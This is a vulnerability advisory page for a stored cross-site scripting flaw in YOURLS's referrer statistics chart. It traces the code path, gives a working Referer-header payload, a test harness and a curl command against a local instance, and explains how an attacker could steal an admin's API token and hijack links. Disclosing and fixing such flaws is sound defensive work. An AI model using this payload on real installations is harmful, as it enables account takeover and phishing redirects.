Skip to main content

CVE-2026-63135 — YOURLS has stored XSS in yourls/yourls — CVE Details

HIGH

YOURLS has stored XSS in referrer statistics chart via crafted Referer header

Published August 21, 2026Updated August 21, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.43%). Schedule for your next planned update.

Does your project use an affected yourls/yourls version?

Paste your composer.lock to check it for CVE-2026-63135 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my composer.lock

Summary

Summary

YOURLS stores the HTTP Referer header for short URL redirects and later renders aggregated referrer domains in the per-link statistics page. An unauthenticated attacker can send a crafted Referer header to any existing short URL. When an authenticated administrator or stats-page viewer opens that short URL's statistics page, the crafted referrer is embedded into Google Charts JavaScript without JavaScript-string escaping, causing stored cross-site scripting.

This is reachable in default private installations when authenticated users view stats, and in documented configurations where YOURLS_PRIVATE_INFOS is set to false to make statistics pages public.

Details

The vulnerable source-to-sink path is:

HTTP Referer header
  -> yourls_get_referrer()
  -> yourls_sanitize_url_safe()
  -> yourls_log_redirect()
  -> log table referrer column
  -> yourls-infos.php referrer aggregation
  -> yourls_get_domain()
  -> yourls_stats_pie()
  -> yourls_google_array_to_data_table()
  -> inline JavaScript

Relevant code:

  • includes/functions.php:240-243: yourls_get_referrer() reads $_SERVER['HTTP_REFERER'], calls yourls_sanitize_url_safe(), and truncates the result to 200 bytes.
  • includes/functions.php:294-307: yourls_redirect_shorturl() calls yourls_log_redirect() before redirecting the visitor.
  • includes/functions.php:516-545: yourls_log_redirect() stores the sanitized referrer in the log table.
  • yourls-infos.php:60-82: the statistics page reads logged referrers and groups them by yourls_get_domain($row->referrer).
  • yourls-infos.php:493-498: the statistics page passes referrer domains to yourls_stats_pie().
  • includes/functions-infos.php:338-355: yourls_google_array_to_data_table() manually concatenates labels into JavaScript as ['$label', ...] without escaping single quotes, backslashes, or other JavaScript string metacharacters.
  • includes/functions-formatting.php:141-143 and includes/functions-formatting.php:555-609: yourls_sanitize_url_safe() removes some unsafe characters and CRLF sequences, but still permits the characters needed for JavaScript-string breakout, including ', [, ], ,, and parentheses.

A crafted referrer host such as:

x',1],['marker',alert(1)],['z.tld

survives sanitization when used in a URL like:

http://x',1],['marker',alert(1)],['z.tld/path

It is then rendered into chart JavaScript like:

var data = google.visualization.arrayToDataTable([
    ['x',1],['marker',alert(1)],['z.tld',1]
]);

The alert(1) call is only a benign proof marker. An attacker could execute arbitrary JavaScript in the stats viewer's browser context.

PoC

The following local harness was run against commit c3fc8e2370d240403c17c2e4a70e1e234759a5b3. It exercises YOURLS' real URL sanitizer, domain extraction, and yourls_stats_pie() chart rendering path, then executes the generated chart script in Node with stubs for Google Charts and alert().

docker run --rm --network none -v "$PWD:/repo:ro" -w /repo phpmyadmin:5.2.1 php -d display_startup_errors=0 -r '
define("IDNA_DEFAULT",0);
define("INTL_IDNA_VARIANT_UTS46",1);
function yourls_add_action(){ }
function yourls_do_action(){ }
function yourls_apply_filter($tag,$value){ return $value; }
function yourls_get_protocol($url){ preg_match("!^[a-zA-Z][a-zA-Z0-9+.-]+:(//)?!", $url, $m); return isset($m[0]) ? $m[0] : ""; }
function yourls_is_allowed_protocol($url,$protocols=[]){ if(!$protocols){ global $yourls_allowedprotocols; $protocols=$yourls_allowedprotocols; } return in_array(yourls_get_protocol($url), $protocols); }
if(!function_exists("idn_to_utf8")){ function idn_to_utf8($domain,$flags=0,$variant=0){ return $domain; } }
require "includes/vendor/autoload.php";
require "includes/functions-kses.php";
yourls_kses_init();
require "includes/functions-formatting.php";
require "includes/functions-infos.php";
$ref="http://x\x27,1],[\x27marker\x27,alert(1)],[\x27z.tld/path";
$san=substr(yourls_sanitize_url_safe($ref),0,200);
$host=yourls_get_domain($san);
ob_start();
yourls_stats_pie([$host=>1,"benign.example"=>1,"another.example"=>1], 5, "440x220", "stat_tab_source_ref");
$html=ob_get_clean();
preg_match("#<script[^>]*>(.*?)</script>#s", $html, $m);
$js="global.pwned=0; function alert(x){global.pwned=x}; const google={setOnLoadCallback:(fn)=>fn(),visualization:{arrayToDataTable:(x)=>x,PieChart:function(){this.draw=function(){}}}}; document={getElementById:(id)=>({id})}; ".$m[1]."; console.log(\x27san=\x27+".json_encode($san)."); console.log(\x27host=\x27+".json_encode($host)."); console.log(\x27pwned=\x27+global.pwned);";
echo $js;
' 2>/dev/null > /tmp/yourls-xss-harness.js && node /tmp/yourls-xss-harness.js

Observed output:

san=http://x',1],['marker',alert(1)],['z.tld/path
host=x',1],['marker',alert(1)],['z.tld
pwned=1

A request that would poison statistics for an existing short URL in a local YOURLS instance is:

curl -H "Referer: http://x',1],['marker',alert(1)],['z.tld/path" \
  http://localhost/<existing-keyword>

Then view the affected short URL's stats page:

http://localhost/<existing-keyword>+

The payload is short enough to survive YOURLS' 200-byte referrer truncation and still executes when additional benign referrers are present.

Impact

Beyond executing arbitrary JavaScript in the victim's browser, the stored XSS runs in the authenticated YOURLS origin and can perform privileged same-origin actions.

In a private installation, an attacker can use the victim administrator's session to fetch admin pages, read embedded CSRF nonces, and call admin AJAX endpoints to create, edit, or delete short URLs. This allows replacing existing short-link destinations with attacker-controlled phishing or malware URLs, deleting links, and modifying link metadata.

The XSS can also fetch /admin/tools.php and read the victim's secret API signature token. That token authenticates passwordless API requests and can be reused outside the victim's browser session to create short URLs and query URL/global statistics until the underlying secret changes.

Confidentiality impact includes access to admin-visible URL inventory and metadata such as long URLs, titles, creator IP addresses, timestamps, click counts, referrer statistics, and the API signature token. Integrity impact includes persistent modification of short-link destinations and deletion/creation of links.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

Advisory Timeline

  • First published August 21, 2026 (97 days ago).
  • Last revised August 21, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update yourls/yourls to 1.10.4 or later
composer require "yourls/yourls:^1.10.4"

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: Packagist (1).

PackageFixed In
yourls/yourls Packagist · Affected: 1.10.0, 1.10.1, 1.10.2, 1.10.3 (+13 more)1.10.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-79
    Cross-site Scripting (XSS)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.2 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N

Frequently Asked Questions

What is CVE-2026-63135?
YOURLS has stored XSS in referrer statistics chart via crafted Referer header. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.2/10).
How do I check if my project is affected by CVE-2026-63135?
CVE-2026-63135 affects yourls/yourls. It has a 0.4% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-63135 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.2

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.43%
EPSS percentile: 28.5

This is a below-median EPSS score — only 28.5% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-5h77-88j3-r659

Related CVEs

  • CVE-2026-103035
    HIGH

    TeamPass folder re-parenting authorization bypass

  • CVE-2026-110782
    HIGH

    SAML2: Incomplete fix of CVE-2026-49283: unsigned embedded Response bypasses HTTP-Artifact signature verification (no embedded-Issuer binding)

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my composer.lock